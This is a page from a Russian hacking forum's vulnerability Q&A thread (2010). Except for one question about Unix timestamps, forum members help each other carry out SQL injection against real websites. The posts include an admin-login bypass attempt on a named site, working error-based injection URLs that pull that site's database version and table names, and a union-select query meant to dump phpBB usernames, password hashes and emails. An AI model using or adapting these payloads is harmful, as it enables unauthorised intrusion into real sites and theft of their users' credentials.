ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1247 из 1393 « Первая < 247747114711971237 1243 1244 1245 1246 1247 1248 1249 1250 1251 125712971347 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #12461  
Старый 09.04.2010, 13:34
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме:
4075418

Репутация: 386
По умолчанию
Цитата:
Сообщение от Linkus  
В общем не знаю там ли написал, но вот такой вот вопрос ребята. В некой БД как то странно время вычисляется в виде цифр, в колонке time к примеру 1269553831 или 1269554171 . Я так понимаю это какая то зашифрованная дата или цифра. Как расшифровать? И можно ли цифру преобразовать в такой код.
http://ru.wikipedia.org/wiki/UNIX-время
 
Ответить с цитированием

  #12462  
Старый 09.04.2010, 13:44
Linkus
Участник форума
Регистрация: 20.12.2008
Сообщений: 130
Провел на форуме:
436500

Репутация: 11
По умолчанию
Огромнейшее спасибо.
 
Ответить с цитированием

  #12463  
Старый 09.04.2010, 15:32
FlaktW
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014

Репутация: 8
По умолчанию
Набираю в админке: 'or+5=5)--

выскакивает такая ошибка:

error executing query select id from trustee where name = ''or+5=5)-- ':
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')-- '' at line 1

Как тут правильно составить запрос?

Заранее всем спасибо!
 
Ответить с цитированием

  #12464  
Старый 09.04.2010, 17:12
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020

Репутация: 1423
По умолчанию
Пробуй '+||+'1
 
Ответить с цитированием

  #12465  
Старый 09.04.2010, 17:17
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию
Цитата:
Сообщение от FlaktW  
Набираю в админке: 'or+5=5)--

выскакивает такая ошибка:

error executing query select id from trustee where name = ''or+5=5)-- ':
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')-- '' at line 1

Как тут правильно составить запрос?

Заранее всем спасибо!

не плюсы, а пробелы используй.
 
Ответить с цитированием

  #12466  
Старый 09.04.2010, 18:24
FlaktW
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014

Репутация: 8
По умолчанию
Не получается, вот админка попробуйте сами:

http://www.vierpfoten.org/redadmin
 
Ответить с цитированием

  #12467  
Старый 09.04.2010, 18:47
[Feldmarschall]
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
Провел на форуме:
568388

Репутация: 87
По умолчанию
Цитата:
Сообщение от FlaktW  
Не получается, вот админка попробуйте сами:

http://www.vierpfoten.org/redadmin
Код:
http://www.vierpfoten.org/website/output.php?id=1001%27+and+%28select*from%28select+count%28*%29from%28select+1+union+select+2+union+select+3%29x+group+by%20concat%28mid%28%28select+version%28%29+from+INFORMATION_SCHEMA.TABLES+limit+0,1%29,1,33%29,floor%28rand%280%29*2%29%29%29z%29/*

Version: 5.0.22-Debian_0ubuntu
database: cmsVpOrgNe
ищи я уверен ты найдешь там что нужно

Код:
http://www.vierpfoten.org/website/output.php?id=1001%27+and+%28select*from%28select+count%28*%29from%28select+1+union+select+2+union+select+3%29x+group+by%20concat%28mid%28%28select+table_name+from+INFORMATION_SCHEMA.TABLES+limit+0,1%29,1,10%29,floor%28rand%280%29*2%29%29%29z%29/*
Последний раз редактировалось [Feldmarschall]; 09.04.2010 в 18:52..
 
Ответить с цитированием

  #12468  
Старый 09.04.2010, 21:23
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию
ребят помогите са скулом есть таблица phpbb_users

table_rows возвращает 4186

а когда делаю запрос union+select+1,2+from+phpbb_users--
выдает ошибку help!!
 
Ответить с цитированием

  #12469  
Старый 09.04.2010, 21:30
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342

Репутация: 165
По умолчанию
Цитата:
Сообщение от Konqi  
ребят помогите са скулом есть таблица phpbb_users

table_rows возвращает 4186

а когда делаю запрос union+select+1,2+from+phpbb_users--
выдает ошибку help!!
Ты пытаешься вывести колонки 1 и 2 , которые не существуют в таблице phpbb_users
Почитай внимательнее
Последний раз редактировалось SeNaP; 09.04.2010 в 21:33..
 
Ответить с цитированием

  #12470  
Старый 09.04.2010, 21:39
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию
Цитата:
Сообщение от SeNaP  
Ты пытаешься вывести колонки 1 и 2 , которые не существуют в таблице phpbb_users
Почитай внимательнее
union+select+concat(username,char(58),user_passwor d,char(58),user_email,char(58),user_icq),2+from+ph pbb_users--

тоже возвращает ошибку
 
Ответить с цитированием
Ответ
Страница 1247 из 1393 « Первая < 247747114711971237 1243 1244 1245 1246 1247 1248 1249 1250 1251 125712971347 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ